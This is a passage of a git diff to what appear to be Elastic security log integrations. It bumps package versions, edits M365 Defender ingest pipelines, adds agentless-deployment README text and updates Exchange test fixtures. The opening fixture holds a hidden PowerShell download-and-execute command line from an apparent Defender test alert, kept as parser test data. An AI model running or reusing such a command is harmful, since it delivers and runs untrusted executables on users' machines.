-NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'" + ], + "hash": { + "sha1": [ + "a72c41316307889e43fe8605a0dca4a72e72a011" + ], + "sha256": [ + "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80" + ] + }, + "parent": { + "pid": [ + 5772 + ], + "start": [ + "2024-10-20T09:51:19.506Z" + ] + }, + "pid": [ + 8224 + ], + "start": [ + "2024-10-20T09:51:39.499Z" + ], + "user": { + "name": [ + "CDPUserIS-38411" + ] + } + }, + "related": { + "hash": [ + "a72c41316307889e43fe8605a0dca4a72e72a011", + "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80" + ], + "hosts": [ + "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", + "Windows11", + "22H2", + "clw555test", + "AzureAD" + ], + "ip": [ + "81.2.69.142", + "127.0.0.1" + ], + "user": [ + "CDPUserIS-38411", + "S-1-12-1-1485667349-1150190949-4065799612-2328216759" + ] + }, + "source": { + "ip": [ + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "tactic": { + "name": [ + "Execution" + ] + }, + "technique": { + "subtechnique": { + "id": [ + "T1059.001" + ] + } + } + }, + "user": { + "domain": [ + "AzureAD" + ], + "name": [ + "CDPUserIS-38411" + ] + } + }, null ] } diff --git a/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml index 36f4ed16642..ba80d2cc8c8 100644 --- a/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml +++ b/packages/m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml @@ -15,6 +15,11 @@ processors: target_field: event.original ignore_missing: true if: ctx.event?.original == null + - remove: + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' - json: field: event.original tag: json_event_original @@ -643,24 +648,24 @@ processors: ignore_missing: true - foreach: field: json.evidence - tag: foreach_rename_evidence_internetMessageId + tag: foreach_append_evidence_internetMessageId if: ctx.json?.evidence instanceof List processor: - rename: - field: _ingest._value.internetMessageId - tag: rename_foreach_evidence_internetMessageId - target_field: _ingest._value.internet_message_id - ignore_missing: true + append: + field: email.message_id + tag: append_foreach_evidence_email_message_id + value: '{{{_ingest._value.internetMessageId}}}' + allow_duplicates: false - foreach: field: json.evidence - tag: foreach_rename_evidence_networkMessageId + tag: foreach_append_evidence_networkMessageId if: ctx.json?.evidence instanceof List processor: - rename: - field: _ingest._value.networkMessageId - tag: rename_foreach_evidence_networkMessageId - target_field: _ingest._value.network_message_id - ignore_missing: true + append: + field: email.local_id + tag: append_foreach_evidence_email_local_id + value: '{{{_ingest._value.networkMessageId}}}' + allow_duplicates: false - foreach: field: json.evidence tag: foreach_dot_expander_evidence_p1Sender @@ -761,6 +766,16 @@ processors: tag: append_foreach_evidence_email_from_adress value: '{{{_ingest._value.p1_sender.email_address}}}' allow_duplicates: false + - foreach: + field: json.evidence + tag: foreach_evidence_append_email_sender_address + if: ctx.json?.evidence instanceof List + processor: + append: + field: email.sender.address + tag: append_foreach_evidence_email_sender_address + value: '{{{_ingest._value.p1_sender.email_address}}}' + allow_duplicates: false - foreach: field: json.evidence tag: foreach_append_evidence_related_user_p1sender_emailaddress @@ -858,6 +873,16 @@ processors: - append: field: error.message value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.evidence + tag: foreach_evidence_append_source_ip_sender_ip + if: ctx.json?.evidence instanceof List + processor: + append: + field: source.ip + tag: append_foreach_evidence_source_ip_sender_ip + value: '{{{_ingest._value.sender_ip}}}' + allow_duplicates: false - foreach: field: json.evidence tag: foreach_evidence_append_related_ip_sender_ip @@ -2447,6 +2472,8 @@ processors: - _ingest._value.processId - _ingest._value.imageFile.fileSize - _ingest._value.parentProcessImageFile.fileSize + - _ingest._value.internetMessageId + - _ingest._value.networkMessageId ignore_missing: true - rename: field: json.evidence diff --git a/packages/m365_defender/docs/README.md b/packages/m365_defender/docs/README.md index ab7d9aa13e9..1ed475a5fbe 100644 --- a/packages/m365_defender/docs/README.md +++ b/packages/m365_defender/docs/README.md @@ -8,6 +8,11 @@ Use the Microsoft 365 Defender integration to collect and parse data from the Mi For example, you could use the data from this integration to consolidate and correlate security alerts from multiple sources. Also, by looking into the alert and incident, a user can take an appropriate action in the Microsoft 365 Defender Portal. +## Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Data streams The Microsoft 365 Defender integration collects logs for four types of events: Alert, Event, Incident and Log. diff --git a/packages/m365_defender/manifest.yml b/packages/m365_defender/manifest.yml index 63d0f1dd394..a3aa4164def 100644 --- a/packages/m365_defender/manifest.yml +++ b/packages/m365_defender/manifest.yml @@ -1,7 +1,7 @@ -format_version: "3.0.2" +format_version: "3.2.3" name: m365_defender title: Microsoft M365 Defender -version: "2.22.1" +version: "2.24.0" description: Collect logs from Microsoft M365 Defender with Elastic Agent. categories: - "security" @@ -11,11 +11,19 @@ conditions: elastic: subscription: basic kibana: - version: "^8.13.0 || ^9.0.0" + version: "^8.18.0 || ^9.0.0" policy_templates: - name: m365_defender title: M365 Defender Logs description: Collect logs from M365 Defender API + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations inputs: - type: httpjson title: "Collect logs from M365 Defender API" diff --git a/packages/m365_defender/validation.yml b/packages/m365_defender/validation.yml index 9dcaa3b03ff..ddfb73e9384 100644 --- a/packages/m365_defender/validation.yml +++ b/packages/m365_defender/validation.yml @@ -2,4 +2,3 @@ errors: exclude_checks: - SVR00002 # Mandatory filters in dashboards. - SVR00004 # References in dashboards. - - SVR00005 # Kibana version for saved tags. diff --git a/packages/mattermost/changelog.yml b/packages/mattermost/changelog.yml index e55213344e4..77bac788407 100644 --- a/packages/mattermost/changelog.yml +++ b/packages/mattermost/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.0" changes: - description: Do not remove `event.original` in main ingest pipeline. diff --git a/packages/mattermost/manifest.yml b/packages/mattermost/manifest.yml index 7763dc27079..b97e5f37c36 100644 --- a/packages/mattermost/manifest.yml +++ b/packages/mattermost/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.3" name: mattermost title: "Mattermost" -version: "2.3.0" +version: "2.4.0" description: Collect logs from Mattermost with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - productivity_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/mattermost-logo.svg title: Mattermost logo diff --git a/packages/menlo/changelog.yml b/packages/menlo/changelog.yml index 7a83d8ec296..75ba5b5112b 100644 --- a/packages/menlo/changelog.yml +++ b/packages/menlo/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.4.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/menlo/manifest.yml b/packages/menlo/manifest.yml index 7283dfab252..3d077e317eb 100644 --- a/packages/menlo/manifest.yml +++ b/packages/menlo/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: menlo title: "Menlo Security" -version: "1.4.1" +version: "1.5.0" source: license: "Elastic-2.0" description: "Collect logs from Menlo Security products with Elastic Agent" @@ -12,7 +12,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" capabilities: diff --git a/packages/microsoft_defender_cloud/changelog.yml b/packages/microsoft_defender_cloud/changelog.yml index f1d4eb19435..a4892ae9154 100644 --- a/packages/microsoft_defender_cloud/changelog.yml +++ b/packages/microsoft_defender_cloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.3.0" changes: - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". diff --git a/packages/microsoft_defender_cloud/manifest.yml b/packages/microsoft_defender_cloud/manifest.yml index 22b444a9f35..7babb02ceea 100644 --- a/packages/microsoft_defender_cloud/manifest.yml +++ b/packages/microsoft_defender_cloud/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: microsoft_defender_cloud title: Microsoft Defender for Cloud -version: "2.3.0" +version: "2.4.0" description: Collect logs from Microsoft Defender for Cloud with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - cloudsecurity_cdr conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/microsoft_defender_endpoint/_dev/build/docs/README.md b/packages/microsoft_defender_endpoint/_dev/build/docs/README.md index 915b46b1a16..dfc6d1a0673 100644 --- a/packages/microsoft_defender_endpoint/_dev/build/docs/README.md +++ b/packages/microsoft_defender_endpoint/_dev/build/docs/README.md @@ -2,6 +2,11 @@ This integration is for [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-worldwide) logs. +## Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Setting up To allow the integration to ingest data from the Microsoft Defender API, you need to create a new application on your Azure domain. The procedure to create an application is found on the [Create a new Azure Application](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/exposed-apis-create-app-webapp) documentation page. diff --git a/packages/microsoft_defender_endpoint/changelog.yml b/packages/microsoft_defender_endpoint/changelog.yml index 8d0f47d3f8c..fc52fd96273 100644 --- a/packages/microsoft_defender_endpoint/changelog.yml +++ b/packages/microsoft_defender_endpoint/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "2.30.0" + changes: + - description: Enable Agentless deployment. + type: enhancement + link: https://github.com/elastic/integrations/pull/12901 +- version: "2.29.0" + changes: + - description: Add support for Kibana `9.0.0` + type: enhancement + link: https://github.com/elastic/integrations/pull/12886 - version: "2.28.0" changes: - description: Allow the usage of deprecated log input and support for stack 9.0 diff --git a/packages/microsoft_defender_endpoint/docs/README.md b/packages/microsoft_defender_endpoint/docs/README.md index 6143851476b..18b4b110af2 100644 --- a/packages/microsoft_defender_endpoint/docs/README.md +++ b/packages/microsoft_defender_endpoint/docs/README.md @@ -2,6 +2,11 @@ This integration is for [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-worldwide) logs. +## Agentless Enabled Integration +Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html). + +Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments. This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features. + ## Setting up To allow the integration to ingest data from the Microsoft Defender API, you need to create a new application on your Azure domain. The procedure to create an application is found on the [Create a new Azure Application](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/exposed-apis-create-app-webapp) documentation page. diff --git a/packages/microsoft_defender_endpoint/manifest.yml b/packages/microsoft_defender_endpoint/manifest.yml index 6920385f981..0532142474e 100644 --- a/packages/microsoft_defender_endpoint/manifest.yml +++ b/packages/microsoft_defender_endpoint/manifest.yml @@ -1,7 +1,7 @@ -format_version: "3.0.2" +format_version: "3.2.3" name: microsoft_defender_endpoint title: Microsoft Defender for Endpoint -version: "2.28.0" +version: "2.30.0" description: Collect logs from Microsoft Defender for Endpoint with Elastic Agent. categories: - "security" @@ -9,11 +9,19 @@ categories: type: integration conditions: kibana: - version: "^8.13.0" + version: "^8.18.0 || ^9.0.0" policy_templates: - name: microsoft_defender_endpoint title: Microsoft Defender for Endpoint description: Collect logs from Microsoft Defender for Endpoint + deployment_modes: + default: + enabled: true + agentless: + enabled: true + organization: security + division: engineering + team: security-service-integrations inputs: - type: httpjson title: "Collect Microsoft Defender for Endpoint logs via API" diff --git a/packages/microsoft_exchange_online_message_trace/changelog.yml b/packages/microsoft_exchange_online_message_trace/changelog.yml index 9540ffff84a..06092716b8f 100644 --- a/packages/microsoft_exchange_online_message_trace/changelog.yml +++ b/packages/microsoft_exchange_online_message_trace/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.27.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.26.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/microsoft_exchange_online_message_trace/manifest.yml b/packages/microsoft_exchange_online_message_trace/manifest.yml index 504afe88b64..dd6db60e1d5 100644 --- a/packages/microsoft_exchange_online_message_trace/manifest.yml +++ b/packages/microsoft_exchange_online_message_trace/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: microsoft_exchange_online_message_trace title: "Microsoft Exchange Online Message Trace" -version: "1.26.1" +version: "1.27.0" description: "Microsoft Exchange Online Message Trace Integration" type: integration categories: @@ -9,7 +9,7 @@ categories: - email_security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" icons: diff --git a/packages/microsoft_exchange_server/changelog.yml b/packages/microsoft_exchange_server/changelog.yml index 299bc77d0cb..db29b75513c 100644 --- a/packages/microsoft_exchange_server/changelog.yml +++ b/packages/microsoft_exchange_server/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.1" + changes: + - description: Handle events where `networkmessageid` or `senderaddress` are not present. + type: bugfix + link: https://github.com/elastic/integrations/pull/12846 - version: "1.3.0" changes: - description: ECS version updated to 8.17.0. diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log index 6a83935be5c..7cd44acd11d 100644 --- a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log +++ b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log @@ -2,3 +2,6 @@ 2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005 2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\Default exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005 2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035 +2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039 +2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039 +2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039 diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json index bb442f608d0..80f67f0646e 100644 --- a/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json +++ b/packages/microsoft_exchange_server/data_stream/messagetracking/_dev/test/pipeline/test-messagetracking.log-expected.json @@ -9,7 +9,8 @@ "direction": "Incoming", "from": { "address": [ - "root@host01.my.domain.com" + "root@host01.my.domain.com", + "MAILER-DAEMON@host01.my.domain.com" ] }, "local_id": "2fd37dca-1234-5bfb-175d-08dc1db88f52", @@ -27,7 +28,7 @@ } }, "event": { - "ingested": "2025-02-06T10:59:58.217137165Z", + "ingested": "2025-02-20T14:15:49.792664555Z", "original": "2024-01-25T15:16:09.843Z,,,,exchange-mail,No suitable shadow servers,,SMTP,HAREDIRECTFAIL,70971234566456,<20240124222112.B4AE1234EF@host01.my.domain.com>,2fd37dca-1234-5bfb-175d-08dc1db88f52,mailuser@my.domain.com,,15054,1,,,Undelivered Mail Returned to Sender,MAILER-DAEMON@host01.my.domain.com,root@host01.my.domain.com,,Incoming,,,,S:DeliveryPriority=Normal;S:OriginalFromAddress=root@host01.my.domain.com;S:AccountForest=my.domain.com,Email,dc69df25-1234-564c-41c4-08dc1db88f7f,15.02.0330.005" }, "message": "2024-01-25T15:16:09.843Z,,,,exchange-mail,No suitable shadow servers,,SMTP,HAREDIRECTFAIL,70971234566456,<20240124222112.B4AE1234EF@host01.my.domain.com>,2fd37dca-1234-5bfb-175d-08dc1db88f52,mailuser@my.domain.com,,15054,1,,,Undelivered Mail Returned to Sender,MAILER-DAEMON@host01.my.domain.com,root@host01.my.domain.com,,Incoming,,,,S:DeliveryPriority=Normal;S:OriginalFromAddress=root@host01.my.domain.com;S:AccountForest=my.domain.com,Email,dc69df25-1234-564c-41c4-08dc1db88f7f,15.02.0330.005", @@ -87,7 +88,7 @@ } }, "event": { - "ingested": "2025-02-06T10:59:58.217147468Z", + "ingested": "2025-02-20T14:15:49.792775712Z", "original": "2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005" }, "message": "2024-01-25T15:16:09.949Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE5;2024-01-25T15:16:09.544Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566403,<20240123200014.123F425E28@host01.my.domain.com>,1e6eb197-c6b4-1234-1b69-56dc1db88f50,mailuser@my.domain.com,,7229,1,,,vzdump backup status (host01.my.domain.com): backup successful,root@host01.my.domain.com,root@host01.my.domain.com,0cA: ,Incoming,,10.11.12.13,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.13;S:ProxiedClientHostname=host01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,05503123-c5b9-46fe-1234-56dc1db88f8f,15.02.0330.005", @@ -152,7 +153,7 @@ } }, "event": { - "ingested": "2025-02-06T10:59:58.217148966Z", + "ingested": "2025-02-20T14:15:49.792786347Z", "original": "2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\\Default exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005" }, "message": "2024-01-25T15:16:14.415Z,10.11.12.14,exchange-mail.my.domain.com,10.11.12.14,exchange-mail,08DC1DB12C345BE9;2024-01-25T15:16:12.885Z;0,exchange-mail\\Default 